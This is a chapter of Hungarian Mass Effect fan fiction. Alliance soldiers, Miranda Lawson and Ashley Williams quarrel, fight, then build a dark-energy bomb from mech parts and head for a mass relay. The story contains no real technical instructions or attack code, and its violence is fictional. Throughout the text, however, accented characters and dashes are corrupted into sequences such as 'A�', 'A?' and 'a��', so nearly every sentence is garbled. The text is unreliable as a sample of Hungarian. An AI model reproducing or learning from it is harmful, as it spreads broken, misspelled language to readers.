Youngot ez mA�gsem foglalkoztatta annyira, mint az, hogy mikor kilA�ptek a nyA�lt utcA?ra Lawson feszA?ltebb lett, A�s ugrA?sra kA�szen a tA�meget kezdte fA?rkA�szni. A nA� ideges volt, A�s a parancsnok biztosra vette, hogy nem a kA?ldetA�s miatt. Lawson egyike volt a begyA�jtA�ket elpusztA�tA? csapatnak, az ilyen biztos nem ijed meg az A?rnyA�kA?tA?l, A�s bA?r a kA?ldetA�sA?k nem csekA�ly veszA�lyt rejtett magA?ban, Shepard akciA?jA?hoz kA�pest laza vakA?ciA?nak tA�nt.
a�� Mi a baj? a�� kA�rdezett rA?.
a�� Semmi.
a�� Miranda! Most az A�n csapatomban jA?tszik. Ha megkA�rdem, mi a baj, maga megmondja. a�� Lawson szA?rA?s pillantA?st lA�vellt felA�, de Young A?llta. VA�gA?l a nA� nA�zett fA�lre.
a�� PA?r hete A?ldA�z valaki. Nem tudom, kicsoda, de nagyon jA?l csinA?lja. A Bekensteinen akadt a nyomomra, A�s bA?r nem A�rt a kA�zelembe, azA?ta nem tudom lerA?zni. Gondoltam rA?, hogy bevA?rom, de akkor jA�ttek maguk. Mondtam a RejtA�zA� FickA?nak, hogy ne engem kA?ldjA�n, de nem hallgatott rA?m.
a�� SzA?val van egy rajongA?ja, aki veszA�lyezteti a kA?ldetA�st. Remek! MA?s se hiA?nyzott. a�� Most mA?r Young is feszA?lten mA�regette a tA�meget. SejtA�se szerint egy jobb zsoldos kA�vethette Lawsont, akit feltehetA�en egy haragosa bA�relt fel. Cerberus A?gynA�kkA�nt a nA�nek alapbA?l lehettek ellensA�gei, de Shepard kA?ldetA�se alatt is szertettek pA?r ellensA�gre, akik szA�vesen megtennA�k azt, amit a begyA�jtA�k nem tudtak.
Rossz A�rzA�s ide vagy oda, az ismeretlen ellen nem harcolhat, A�gy inkA?bb fA�lretette aggodalmA?t tudata egy erre fenntartott zugA?ba. Nem vA�sz el, nem mellA�zi, ott lapul vA�szhelyzet esetA�re. Ha meglA?t valami gyanA?sat, valami nem odaillA�t, azonnal a felszA�nre tA�r A�s jelez, de addig nem kA�t le felesleges gondolatokat.
Elindult a tA�megen A?t. Walker A�s Kol szA? nA�lkA?l kA�vettA�k, Lawson kissA� vonakodott. LA?thatA?an nem szerette, ha nem A� vezetett. Pedig az ember azt hinnA�, hogy a RejtA�zA� FickA? A�s Shepard utA?n a parancsteljesA�tA�s mA?r nem lehet gond.
Derkofeli szervizmech-boltnak A?lcA?zott fegyverkereskedA�se felA� tartva Young szA?mba vette az akciA? esetleges buktatA?it. Lebukhatnak a RelA�A?llomA?s biztonsA?gijai elA�tt, a doktornA� programja lehet nem fog mA�kA�dni, a csomag lehet nem lesz elA�g hatA�kony, Derkofeli feladhatja A�keta�� Mindez elA�g lett volna hA?rom kA?ldetA�sre is, de neki ott volt mA�g Miranda vonakodA?sa, Kol leplezetlen ellenszenve a Cerberusos irA?nt A�s az ismeretlen A?ldA�zA� is. A�s persze az a tA�ny, hogy fogalmuk sem volt, mennyi idejA?k van mA�g az akciA? befejezA�sA�re. Lehet hA?rom A�v vagy hA?rom perc. EzutA?n arra mA?r gondolni sem mert, hogyan jutnak majd ki A�lve az A?llomA?srA?l, ha valami csoda folytA?n eljutnak odA?ig.
RemA�ny nem sok volt, az is szertefoszlott, mikor belA�ptek Derkofeli boltjA?ba. Az egyik alkatrA�szekkel megrakott polc leszakadt, a mechelemek alatt pedig De Winne fekA?dt. TarkA?jA?n felszakadt a bA�r, vA�r szivA?rgott a sebbA�l. PuskA?ja a hA?tA?n volt, A�rintetlenA?l, pisztolyA?t Young az egyik sarokban talA?lta meg. Nem sokkal arrA�bb, a pult mA�gA?l egy szalA?ri lA?ba kandikA?lt ki.
Az M-5 Phalanx nehA�z pisztoly szinte beleugrott Young kezA�be. Ugyanakkor hallotta, amint a hA?ta mA�gA�tt Walker M-9 Tempest gA�ppisztolya A�s Lawson M-3 Predatora is szA�thajtogatja magA?t. A Phalanx kA�k keresA�lA�zere vA�gigpA?sztA?zta a szobA?t. Senki nem volt ott rajtuk kA�vA?l, de Young A�sztA�nei azt sA?gtA?k, ez csak a lA?tszat. A?gy hA?t tA?zelA�sre kA�szen beljebb lA�pett. Walker fedezete mellett benA�zett a pult mA�gA�. Derkofeli fekA?dt ott, kezA�ben egy aprA? pisztollyal, homloka kA�zepA�n takaros lyukkal.
EkA�zben Kol odasietett De Winne-hez. Lehajolt hozzA?, kitapogatta a pulzusA?t. MegkA�nnyebbA?lt sA?haja hallatA?n Young is fellA�legzett. AzA?ta tartotta vissza a levegA�t, hogy meglA?tta fA�ldA�n fekvA� emberA�t.
Gondolatai pillanatnyi elterelA�se majdnem vA�gzetes hibA?nak bizonyult. Egy A?rnyA�k suhant A?t a hA?tsA? helyisA�gbe vezetA� ajtA?n. NesztelenA?l a pult fA�lA� lendA?lt, A�s ahogy A?tvetA�dA�tt fA�lA�tte, kirA?gta Young kezA�bA�l a Phalanxot. EzutA?n macskaA?gyessA�ggel vA�giggA�rdA?lt a fA�ldA�n, elkaszA?lva Walker lA?bA?t. A hadnagy nagyot puffanva esett hanyatt.
Kol sem okozott gondot a tA?madA?nak, leginkA?bb azA�rt, mert egyA?ltalA?n nem jelentett fenyegetA�st. Mire a doktornA� A�szlelte a veszA�lyt, mA?r A?jultan fekA?dt a fA�ldA�n. Csak Young A�s Lawson maradt talpon. A parancsnok megperdA?lt, hogy szembeforduljon ellenfelA�vel.
A tA?madA? ember volt, nA�. KA�nnyA� pA?ncA�lt viselt, ami A�nmagA?ban nem lett volna furcsa, annak ellenA�re sem, hogy kA�nnyedA�n, ruganyosan mozgott. Young mA�gis elcsodA?lkozott egy pillanatra, mert a nA�n egy piros-fehA�r FA�nix kA�nnyA� pA?ncA�lt viselt. Azt pedig a Rendszer SzA�vetsA�g hadseregA�ben rendszeresA�tettA�k. Az ismeretlen bajtA?rsuk volt. A�s mellesleg A�ppen prA?bA?lta laposra verni Lawsont.
A Cerberus A?gynA�k nem hagyta magA?t. BA?r pisztolyA?tA?l A�t is megszabadA�tottA?k, nem fegyvereztA�k le. A tA?madA? mA�gA� gA�rdA?lt A�s hA?tba vA?gta, ugyanakkor a sajA?t pisztolyA?A�rt nyA?lt. Az M-6 Carnifex azonban nem tudta magA?t kibontani, mert Lawson visszanyerve egyensA?lyA?t biotikus tA?madA?sba kezdett. KA�k-fehA�r villanA?s csapA?dott ki a Cerberus A?gynA�k karjA?bA?l A�s vA?gA?dott bele a tA?madA? testA�be. A nA� kinetikus pajzsa felvillant A�s elenyA�szett, de A�ppen elA�ggA� legyengA�tette ahhoz a tA�megvonzA?s mezA�t, hogy csak a pisztolyt verje ki tulajdonosa kezA�bA�l.
Lawson kissA� megrogyott. A hA?tbavA?gA?s A�s a biotikus tA?madA?s kivett belA�le valamennyit. Az ismeretlen nA� ezt kihasznA?lva a derekA?ra erA�sA�tett M-23 Katana utA?n nyA?lt, de megragadni nem volt ideje. Egy A?jabb tA�megvonzA?s mezA� csapott le rA?, A?tA�lelte testA�t A�s a falhoz vA?gta. MagatehetetlenA?l a fA�ldre rogyott. LA?thatA?an megszA�dA?lt, mA�gis gyorsan talpra szA�kkent. De mA?r elkA�sett.
a�� ElA�g volt! a�� Young A?llt elA�tte, kezA�ben a Phalanx-szal. KissA� lihegett, a bA�re sA?padt volt, a gyomra kavargott. A biotika A�t jobban megA?tA�tte, mint Lawsont, de a kA�k lA�zer biztosan A?llt tA?madA?juk homlokA?n. Ha megmozdulna, azonnal lerobbanthatja a fejA�t. Ilyen kA�zelrA�l a Phalanx csA?nya dolgokat tud mA�velni.
a�� AzonosA�tsa magA?t, katona! a�� utasA�totta a nA�t, aki dA?hA�sen meredt rA?. SzemA�bA�l kiolvashatA? volt a vA?lasz: nagy szart. a�� John Young vagyok, a Rendszer SzA�vetsA�g N7 alakulatA?nak parancsnoka, A�tA�dik flotta. Kilenc-tizenegy-hA?rom-kettA�-alfa. a�� DarA?lta Young, rA?jA�ve, hogy a kA?lsA� szemlA�lA� szA?mA?ra nem lehet egyA�rtelmA�, hogy A� a SzA�vetsA�g katonA?ja. a�� MegismA�tlem, azonosA�tsa magA?t!
a�� Ashley Williams mA?sodosztA?lyA? hadnagy. FANTOM.

Young ritkA?n tA?totta el a szA?jA?t. Harcolt sokfA�le ellensA�g ellen, lA?tott annyi furcsasA?got az A�letben, hogy azt szA?mba venni is nehA�z lett volna, A�gy mA?r nem sok minden lepte meg. De, hogy az amA?gy is hajmeresztA� kA?ldetA�se kA�zepA�n belefutnak a galaxis mA?sodik emberi FANTOM-jA?ba, aki nem mellesleg ugyanA?gy Shepard parancsnok csapatA?ba tartozott, mint Lawson, mA�g A�t is meglepte.
a�� Gondolom, maga A?ldA�zi MirandA?t, hadnagy a�� tette el a Phalanxot Young, majd talpra segA�tette Walkert.
a�� ValA?ban a�� Williams Lawsonra pillantott. a�� LetartA?ztatom.
a�� Azt erA�sen kA�tlem a�� vetette oda Lawson, hangjA?ban csipetnyi gA?nyos kedA�llyel.
a�� Mi gA?tol meg benne, te? Ha nincs a parancsnok, mA?r bilincs lenne rajtad.
a�� Ha nincs a parancsnok, mA?r halott lennA�l.
a�� De itt a parancsnok a�� lA�pett kA�zA�jA?k Young. a�� MiA�rt A?ldA�zi MirandA?t?
Williams A?tnA�zett Young vA?lla fA�lA�tt a szobormerev arccal bA?mulA? Lawsonra. Mint az A?ldozatA?ra lesA� gepA?rd, A?gy mA�ricskA�lte, A�s ha nincs ott a parancsnok, biztos nekiesik a Cerberus A?gynA�knek.
a�� El akarom fogni a RejtA�zA� FickA?t.
Lawson felnevetett, mire Williams elA�re ugrott. Young megragadta a dA?hbe gurult hadnagynA�t A�s visszarA?ntotta maga elA�. AztA?n szA?rA?s pillantA?sA?val Lawson jA?kedvA�t is lelohasztotta.
a�� TovA?bb!
a�� Shepard hadbA�rA?sA?g elA�tt A?ll, mert felrobbantotta az Alfa relA�t, ezzel elpusztA�tva a Bahak-rendszerben. a�� Young tA?relmetlenA?l bA?lintott. Ezt tudta. Ezt mindenki tudta a TejA?trendszerben. a�� KA�tszer mentett meg minket a kaszA?soktA?l, egyszer a begyA�jtA�ktA�l, A�s most a SzA�vetsA�g A?t akarja adni a fejA�t a batA?riknak. Ezt nem hagyhatom. Mivel a vA?dak kA�zA�tt a terrorizmus is szerepel, gondoltam, ha odapofozom a bA�rA?sA?gra a Cerberus vezetA�jA�t, az A� szava elA�g meggyA�zA� vallomA?s lesz ahhoz, hogy Shepardot felmentsA�k. A Cerberusnak van bizonyA�tA�ka Shepard A?rtatlansA?gA?ra, a kaszA?sok lA�tezA�sA�re, de szarnak rA?.
a�� Shepard feltA?masztA?sa A�s a Normandia A?jjA?A�pA�tA�se kis hA�jA?n csA�dbe vitte a Cerberust, erre Shepard szembefordult a RejtA�zA� FickA?val A�s a NormandiA?t magA?val egyA?tt A?tadta a SzA�vetsA�gnek. Nem csodA?lom, hogy a RejtA�zA� FickA? ezutA?n nem igyekszik tisztA?ra mosni a nevA�t.
a�� A? A?rulta el a Cerberust? a�� Williams arca A?jra vA�rA�sA�dni kezdett. a�� A Cerberus A?rulta el A�t, mert nem tetszett nekik, hogy felrobbantotta a begyA�jtA�k bA?zisA?t. A�s Shepard szerint ebben maga is egyetA�rtett vele.
a�� EgyetA�rtettem a bA?zis megsemmisA�tA�sA�ben, de abban nem, hogy mindent hA?trahagyva visszatA�rjen a SzA�vetsA�gbe. Mindent A�s mindenkit!
Young hA?tranA�zett a vA?lla felett. Lawson hangjA?ban egy megbA?ntott nA� dA?he lapult.
a�� Hogy egy ilyen jA�gkirA?lynA�t hA?trahagy, az nem csoda a�� vetett oda Williams.
a�� A�n legalA?bb hA�sA�ges maradtam hozzA?, nem A?gy, mint egyesek a Horizonton.
Williams A?jra elA�re lendA?lt, A�s Youngnak A?jra a vissza kellett rA?ntania. Kezdte A�rteni, mi folyik itt. Nem A�rA?lt neki, mA?s sem hiA?nyzott, mint egy A?jabb bajforrA?st felvA�snie a listA?jA?ra.
a�� MiA�rt Miranda?
a�� Senki sem tudja, hol rejtA�zik aa�� Nos, a RejtA�zA� FickA?. MA�g Jacob Taylor sem tudta megmondani, de szerinte A� a�� bA�kA�tt Lawsonra a�� tudja. Gondoltam, kiverem belA�le.
a�� Milyen kis rA?tarti a�� vetette oda a Cerberusos.
a�� A�n legalA?bb nem a dekoltA?zsom miatt lettem FANTOM, kisanyA?m.
a�� Azt lA?tod, elhiszem.
Young ekkor unta meg a fA�ltA�kenysA�gi mA?morban tobzA?dA? nA�k civA?dA?sA?t. Egy szigorA?an titkos katonai akciA?t kA�ne levezA�nyelnie, nem egy szappanopera fA�szereplA�jA�t eljA?tszania. MA?r kezdte A?gy gondolni, hogy Kol a�� aki mellesleg A�ppen medigA�lt kent a lassan A�bredezA� De Winne tarkA?jA?ra a�� A�nbizalomhiA?nya A�s tapasztalatlansA?ga smafu a FANTOM-katonatiszt A�s a Cerberus A?gynA�k viselkedA�sA�hez kA�pest.
a�� Pofa be! a�� csattant fel. a�� MindkettA�jA?knek. Ashley, maga a SzA�vetsA�g katonA?ja, viselkedjen A?gy! Miranda, Shepard jelentA�se szerint maga a tA�kA�letes ember, hA?t akkor ne viselkedjen hisztis libakA�nt! Feladatunk van. A kaszA?sok ide tartanak, nekA?nk pedig meg kell A?llA�tanunk A�ket, kA?lA�nben innA�t fogjA?k elkezdeni a TejA?trendszer sterilizA?lA?sA?t. BevA?llaljA?k ezt, csak mert Shepard mindkettejA?ket megkettyintette, aztA?n lelA�pett?
a�� A kaszA?sok ide tartanak? a�� enyhA?lt meg William a hA�r hallatA?n.
a�� Igen a�� mondta egyszerre Young A�s Lawson. A nA� folytatta: a�� Mikor Shepard felrobbantotta az Alfa relA�t, a kaszA?sok csak percekre voltak tA�le. Ez csillagA?szati mA�rcA�ben mA�rve alig pA?r fA�nyA�v lehetett. BA?r a Bahak-rendszer pusztulA?sa utA?n mA�g a tA?volsA?gi szondA?k sem lA?ttA?k, mi folyik ott, tudtuk, hogy a kaszA?sok odaA�rtek. Nem lehetett mA?s vA?lasztA?suk, mint tovA?bbindulni a kA�vetkezA� relA�hez. Ide a�� bA�kA�tt lefelA�.
A RelA�A?llomA?s nem vA�letlen viselte ezt a nevet. Az A�rA?llomA?st a BatA?ri HegemA?nia A�pA�tette, mA�ghozzA? a szektor egyetlen elsA�dleges relA�je kA�rA�. A lA�tesA�tmA�ny szinte teljesen kA�rA?lA�lelte a csillagkA�zi utazA?st biztosA�tA? gigA?szi objektumot, egyedA?l az A�rkezA�si A�s indulA?si zA?nA?t hagytA?k szabadon. EnergiA?t a relA� sajA?t null elem magjA?bA?l merA�tett. EredendA�en hadi cA�lokra szA?ntA?k, de felA�pA�tA�se olyan sok pA�nzbe kerA?lt, hogy a FellegvA?rbA?l frissen kitelepA?lt HegemA?nia mA?r nem engedhette meg magA?nak a fenntartA?sA?t, ezA�rt megnyitotta a civil szfA�ra elA�tt. AzA?ta az A?llomA?s a szektor legfontosabb kereskedelmi csomA?pontjakA�nt A?zemelt, egyA?ttal a batA?ri terA?letek egyik vA�dA�bA?styA?ja volt. Egyetlen a Bahak-rendszerhez legkA�zelebb esA� elsA�dleges relA�, amin A?t elA�rhetA� a TejA?trendszer kilenc mA?sik hasonlA? relA�je, akA?r a galaxis mA?sik spirA?lkarjA?n is.
a�� A�s errA�l a Cerberus informA?lta a SzA�vetsA�get? a�� kA�rdezte szkeptikusan Williams.
a�� Asgy van. Ne nA�zz olyan meglepetten, a Cerberus tA�bbet tett a kaszA?sok megA?llA�tA?sA?A�rt, mint amennyit a SzA�vetsA�g valaha is fog.
Williams hozzA?fA�zA�tt volna valamit, ha Young nem vA?g kA�zbe.
a�� EzA�rt vagyunk itt. Nem tudjuk, mennyi idA�nk van. A kaszA?sok mA�g tA�rkA�z relA�k nA�lkA?l is gyorsan haladnak az A�rben, hiszen kA�t A�v alatt ideA�rtek a sA�tA�t A�rbA�l. Shepard idA�t nyert nekA?nk, amit momentA?n a SzA�vetsA�g bA�rA?sA?gi tA?rgyalA?ssal A?t el, a FellegvA?r TanA?cs pedig szokA?sA?hoz hA�ven mA�g mindig nem lA?tja a fA?tA?l az erdA�t. Anderson A�s Hackett sajA?t akciA?ba kezdett.
a�� Meg kell semmisA�teniA?k egy A?jabb relA�t a batA?ri A�rben a�� A�sszegezte Williams. Ha errA�l a batA?rik valaha A�rtesA?lnA�nek, Shepard tA?rgyalA?sA?nak vA�gkimenetelA�tA�l fA?ggetlenA?l kitA�rne a hA?borA? a SzA�vetsA�g A�s a HegemA?nia kA�zA�tt.
a�� Nem megsemmisA�teni, leA?llA�tani a�� szA?lalt meg Kol doktornA�, aki befejezte De Winne ellA?tA?sA?t. A robosztus katona a fejA�t fogva tA?maszkodott a pultnak, de mellette a doktornA� mA�g A�gy is kicsinek A�s tA�rA�kenynek tA�nt. a�� Dr. Serina Kol vagyok a�� mutatkozott be Williams A�rtetlenkedA� pillantA?sA?t lA?tva. a�� RelA�-specialista.
a�� MA�g egy aszA?ri doki? a�� forgatta a szemA�t a hadnagynA�.
a�� Nem akA?rmilyen doktor a�� vA?gta rA? sA�rtA�dA�tten Kol. a�� A csapatommal azon dolgoztunk, hogy kA�pesek legyA?nk A?tvenni az irA?nyA�tA?st egy relA� fA�lA�tt. Gondoljon bele. HasznA?ljuk A�ket, de semmit sem tudunk velA?k kezdeni. Nem tudjuk vezA�relni A�ket.
a�� Ami elsA�szA?mA? problA�ma, miA?ta kiderA?lt, hogy a kaszA?sok A�pA�tettA�k a relA�ket A�s kA�pesek azok irA?nyA�tA?sA?ra. Maga ott volt a Virmire-en, hallotta a Fejedelmet.
a�� Igen a�� bA?lintott Williams. a�� A kaszA?sok terve az, hogy leA?llA�tjA?k a relA�ket, ezzel bezA?rjA?k a nA�peket a csillagrendszereikbe, mA�g A�k szabadon utazhatnak a galaxisban A�s kiirthatnak minket.
a�� Pontosan a�� helyeselt Kol. a�� MA?r szA?z A�ve dolgozunk ezen, elsA�sorban katonai megbA�zA?sra. Egy csillagrendszer bevA�tele azon mA?lik, hogy a tA?madA? erA�k eltudjA?k-e foglalni az adott relA�t. Ami nehA�z, hiszen a vA�dA�k elA�nyben vannak. A?m ha lenne egy programa��
a�� A tA?madA?k vezA�relhetnA�k a relA�t A�s egyetlen fegyver elsA?tA�se nA�lkA?l is hA?borA?t lehetne nyerni a�� foglalta A�ssze tA�mA�ren Young, mert A�rezte, hogy Kol elemA�re talA?lt A�s A?rA?k mA?lva is errA�l fog beszA�lni.
a�� Igena�� SzA?val, nem sokra jutottunk, de mikor kA�t A�s fA�l A�ve Saren bejutott a FellegvA?rba, A�s aktivA?lta a vezA�rlA� kA�zpontot, majd a Fejedelem is rA?csatlakozott, aza�� Az valami hatalmas volt.
a�� Tudom, ott voltam a�� morogta Williams. Kezdte zavarni Kol szA?csA�plA�se. EmlA�keztette egy mA?sik aszA?ri tudA?sra, akiA�rt mA?ig nem igazA?n rajongott.
a�� A Fejedelem elkezdte feltA�ltA�tte a FellegvA?rba a sajA?t vezA�rlA�programjA?t. Nem jA?rt sikerrel, mert maguk levA?lasztottA?k, A�gy a program megsA�rA?lt. TA�redA�kei maradtak fenn a rendszerben A�s mA?ra a gondnokok ezeket is kipucoltA?k, de A�ppen eleget tudtunk megmenteni, hogy azt alapul vA�ve A�rjunk egy sajA?t relA�vezA�rlA�-programot.
a�� TehA?t ezzel a programmal akarjA?k lekapcsolni a relA�t a�� summA?zta Williams. a�� A�s Miranda miA�rt van itt?
a�� A? segA�t bejutni a relA�be. A programot csak a kA�zponti vezA�rlA�ben lehet feltA�lteni, az pedig a relA� magjA?ban van. Ezen az A?llomA?son szA?raz lA?bbal megkA�zelA�thetA� a relA�. Miranda A?gyszA?lvA?n a felderA�tA�nk. Megkereste nekA?nk az utat, A�gy nem kell ezzel az idA�t hA?znunk. a�� BA?r az idA�t mA?r A�gy is elA�ggA� hA?zzA?k, tette hozzA? Young magA?ban.
a�� A�rtem a�� de nem tetszett neki, ez lerA�tt az arcA?rA?l. a�� A�s mire kell a sA�tA�t energia bomba?
Young felszisszent, Walker behunyta a szemA�t, De Winne halkan morgott valamit, Lawson pedig a szemA�t forgatta. Mindez csak egyvalamiA�rt tA�rt ki belA�lA?k. Kol miatt. Az aszA?ri elsA?padt, szA?ja tA?tva maradt. Egy kerek percig meg sem tudott szA?lalni a dA�bbenetrA�l, aztA?n lassan a bolt egyik falA?hoz tA?masztott, nyitott lA?dA?kra pillantott.
a�� SzA?val ez a maga extra biztosA�tA?sa? Egy tA�megpusztA�tA? fegyver? EgyA?ltalA?n hogyan hoztA?k be? Azt nem lehet csak A?gy mechalkatrA�sznek A?lcA?zni.
a�� De mechalkatrA�szekbA�l meg lehet A�pA�teni egy kisebbet a�� magyarA?zta Young, szA?rA?s pillantA?st lA�vellve Williams felA�.
a�� A?gy buktak le. AmiA?ta MirandA?t A?ldA�zA�m, figyelem a szemA�lyszA?llA�tA?- A�s teherhajA?kat. Utas listA?kat, teherjegyzA�keket. A?gy tudtam kA�vetni a�� vetette oda fA�lA�nyesen Lawsonnak. a�� AztA?n feltA�nt, hogy az egyik hajA?n, a magukA�n, csak K9-es karbantartA?mechek alkatrA�szeit szA?llA�tottA?k. K9-eseket mA?r tA�z A�ve nem gyA?rtanak, pontosan azA�rt, mert sA�tA�tenergia-reaktorok mA�kA�dtetik A�ket, a memA?riA?juk pedig katonai vezA�rlA�chipekbA�l lettek A?talakA�tva. TA�kA�letes eszkA�zA�k sA�tA�t energia bomba A�pA�tA�sA�hez. Ugyan senki sem fog csillagokat felrobbantani, de egy vA?ros kA�zepA�n A�lesA�tve elA�g nagy gondot tudnak okozni. Vagy egy tA�rkA�z relA� kA�rA� A�pA�tett A�rA?llomA?son. Gondoltam utA?na jA?rok a dolognak, hA?tha kA�ze van MirandA?hoz. Nem tA�vedtem.
a�� TehA?t azt tervezi, hogy megrongA?lja a relA�t? a�� kA�rdezte A�lesen Kol.
a�� Nem, azt tervezem, hogy felrobbantom a relA�t. A technikusaink szerint, ha elA�g kA�zel kerA?l a bomba a null elem maghoz, az lA?ncreakciA?t indA�t be. UgyanA?gy felrobban ez, mint az Alfa. Persze elmA�letben, mivel mA�g senki nem kA�sA�relte meg. TA?lsA?gosan fA�ltik a nA�pek a relA�ket.
a�� A�rthetA� a�� szA?rta kA�zbe az eddig csendben az ajtA? mellett strA?zsA?lA? Walker. a�� A relA�k a csillagkA�zi utazA?s kapui. Ha egy mA�kA�dA�skA�ptelennA� vA?lik, az adott rendszer teljesen elszigetelA�dik a kA?lvilA?gtA?l. Az FTL hajtA?mA�veinkkel csak A�vszA?zadok alatt jutnA?nk el a civilizA?lt szektorokig.
a�� KA�szA�njA?k a felvilA?gosA�tA? A?rA?t, tanA?r A?r. TA�z A�vesek rA�vA�n mi ezt mA�g nem tudtuk a�� morogta De Winne.
a�� Az agykapacitA?sod nagyjA?bA?l ott van, szA?vala��
a�� De akkor miA�rt van rA?m szA?ksA�g? Minek vagyok itt? a�� hagyta figyelmen kA�vA?l Kol a kA�t katona marakodA?sA?t.
a�� Mert az elsA�dleges cA�l nem a robbantA?s. Mint korA?bban mondtam, ez csak extra biztosA�tA?s. Serina, a maga programjA?rA?l mA�g azt sem tudjuk biztosan, hogy mA�kA�dik. Azt vA�gkA�pp nem, hogy a kaszA?sok feltA�rhetik-e. Semmit sem A�rA?nk, ha lekapcsoljuk, a kaszA?sok meg laza mozdulattal visszakapcsoljA?k.
a�� SzA?mtalan biztonsA?gi intA�zkedA�st iktattunk be. KA?dokat, A?llkA?dokat, vA�rusokat, A?llprogramokat, A�s a valaha kA�szA?lt legfejlettebb VI biztonsA?gi rendszert.
a�� A kaszA?sok tA�bb milliA?rd A�ves mestersA�ges intelligenciA?k, akik tA�bb ezerszer sterilizA?ltA?k mA?r a TejA?trendszert. Gondolom A�rthetA�, hogy kA�telkedA?nk a FellegvA?r terA?letA�n fellelhetA� legmodernebb technikA?ban. a�� OdalA�pett a nA�hA�z A�s rA?tette a kezA�t a vA?llA?ra. a�� NA�zze! Mi is jobban A�rA?lnA�nk, ha a programja mA�kA�dne. LezA?rhatnA?nk a relA�t, a tA�bbit is. BiztonsA?gban lennA�nk, idA�t nyerhetnA�nk. A�s mindet visszakapcsolhatnA?nk, ha a kaszA?s fenyegetA�s elmA?lik. De csak erre nem A�pA�thetA?nk. A szavat adom, hogy nem robbantunk, amA�g nem szA?z szA?zalA�kos a programja kudarca. Ha kudarcot vall. Ha nem, a bomba sosem lesz A�lesA�tve.
a�� A�s ha mA�gis? a�� nA�zett fel rA? Kol. Szemeiben kA�nnyek csillogtak. a�� A relA� felrobbantA?sa elporlasztja ezt a rendszert. TA�bb milliA? halott lenne.
a�� MA?r most halottak, akA?r mA�kA�dik a program, akA?r nem. Meghaltak, mikor a kaszA?sok erre fordultak. MA�g ha szA?lnA?nk nekik, akkor sem evakuA?lhatnA?nak. Nem is tennA�k, hiszen a Terminus-rendszerben A�lA�k sem hisznek jobban a kaszA?sok lA�tezA�sA�ben, mint a FellegvA?r terA?letA�n. Ellenben kirobbantanA?nk egy hA?borA?t, amire most senkinek semmi szA?ksA�ge. a�� EllA�pett a nA�tA�l A�s A?jra szembefordult Williams-szal, aki lA?thatA?an mA?r lenyugodott. A kaszA?sok kA�zelsA�ge A�s a tA�ny, hogy belekeveredett egy csillagrendszer felA?ldozA?sA?ba, megvA?ltoztatta az elkA�pzelA�seit sajA?t akciA?jA?rA?l.
a�� BA?r maga mA�g mindig a SzA�vetsA�g hadnagya, A�gy a felettese vagyok, de FANTOM is. JA?l jA�nne a segA�tsA�ge, mA�gsem fogom utasA�tani.
a�� SegA�tek a�� vA?gta rA? Williams. a�� A�rtek a bombA?khoz. SegA�tettem A�sszerakni a Vermire-en felrobbant bombA?t is. a�� Nem csekA�ly bA�ntudat A�s bA?nat csengett a hangjA?ban.
a�� Rendben. SegA�tsen De Winne-nek az A�sszeszerelA�sben. Miranda, menjen ki az utcA?ra A�s tartsa szemmel a kA�rnyA�ket. Nincs szA?ksA�gA?nk kA�vA?ncsiskodA?kra. Walker, tA�ntesd el a hullA?t a�� bA�kA�tt Derkofeli holtestA�re. a�� DoktornA�, kA�szA�tse a programjA?t. Ha a bomba kA�sz, azonnal indulunk.

A bomba hamar kA�sz lett. Hamarabb, mint bA?rki is gondolnA?, hogy A�ssze lehet szerelni egy tA�megpusztA�tA? fegyvert. A szerkezet Youngot leginkA?bb Frankenstein teremtmA�nyA�re emlA�keztette, csak halA?losabb kivitelben. A mechekbA�l A�sszefA�rcelt szerkezetnek hat feje volt, kA�t mellkasa A�s nA�gy kA�zen A?llt, melyek kA�zA�tt kA�t lA?b foglalt helyett. MA�retes volt, tA?l nagy ahhoz, hogy beletegyA�k a lA?dA?ba, ezA�rt szA?ksA�g volt a jA?rA?kA�pessA�gre. Huzalok lA?gtak ki a leszerelt panelekbA�l, mA�g a tA�rzsek hA?tA?ra A?jabb konzolokat erA�sA�tettek.
Hogy ne keltsenek feleslegesen nagy feltA�nA�st, Miranda egy olyan A?tvonalat vA?lasztott, ami a bolt hA?tsA? ajtajA?tA?l egy karbantartA? folyosA?ra vezetett. SzerencsA�re a Cerberus A?gynA�k nagyon elA�relA?tA? volt, A�gy mA?r napokkal korA?bban lezA?rta a relA�re nyA�lA? aknA?hoz vezetA� folyosA? egy szakaszA?n, karbantartA?s A?rA?gyA�n. Ehhez csak be kellett tA�rnie a RelA�A?llomA?s szA?mA�tA?gA�pA�be.
Williams ugyan kifogA?solta, hogy miA�rt nem az egA�sz folyosA?t zA?rta le a�� az mA?r feltA�nA� lett volna, ha egy egA�sz folyosA? napokra elsA�tA�tA?l a��, de Young ennyiA�rt is hA?lA?s volt. A lezA?rt szakaszon gyorsan haladtak, a maradA�k tA?von viszont trA?kkA�zniA?k kellett.
ElA�szA�r egy karbantartA? brigA?d kerA?lt az A?tjukba. A folyosA? egy rA�sze valA?ban szerelA�s alatt A?llt, A�s a hA?romfA�s szalA?ri mA�rnA�k bizony A?tjukat A?llta. RA?luk Miranda gondoskodott, egyetlen lA�kA�shullA?mmal szA�tszA?rta A�ket. A falnak csapA?dA? testek nagyot nyekkenve zuhantak a fA�ldre.
A kA�vetkezA� problA�ma forrA?sa trA?kkA�sebb volt, mivel kA�t turiA?n A�s egy krogan biztonsA?gi tiszt szemA�lyA�ben jelentkezett, akik A�ppen falkA?nyi vorchA?val vA�vtak A�lethalA?l harcot. A krogan hatalmasakat ordA�tva, elszabadult vonat mA?djA?ra sA�pA�rte el a szA�rA�s dA�gevA�ket, mA�g mA�gA�tte a turiA?nok mA?dszeresen agyonlA�ttA�k a fA�ldre kerA?lteket.
Young szerette volna kerA?lni a tA�zharcot, mivel a folyosA? nem nyA?jtott tA?l sok fedezA�ket, A�s a biztonsA?giaknA?l jobb fegyverek voltak. RA?adA?sul egy elnyA?lA? harc rontanA? az esA�lyeiket, arrA?l nem beszA�lve, hogy lebuknA?nak. A pA?ncA�lok A�s pajzsok miatt azonban most nem hasznA?lhattA?k a biotikA?t. Maradtak a fegyverek.
Young, Walker, De Winne A�s Williams, amennyire csak lehetett, csendben megkA�zelA�tettA�k a vorchA?kkal harcolA? biztonsA?giakat. AztA?n cA�loztak A�s figyelmeztetA�s nA�lkA?l lA�ttek.
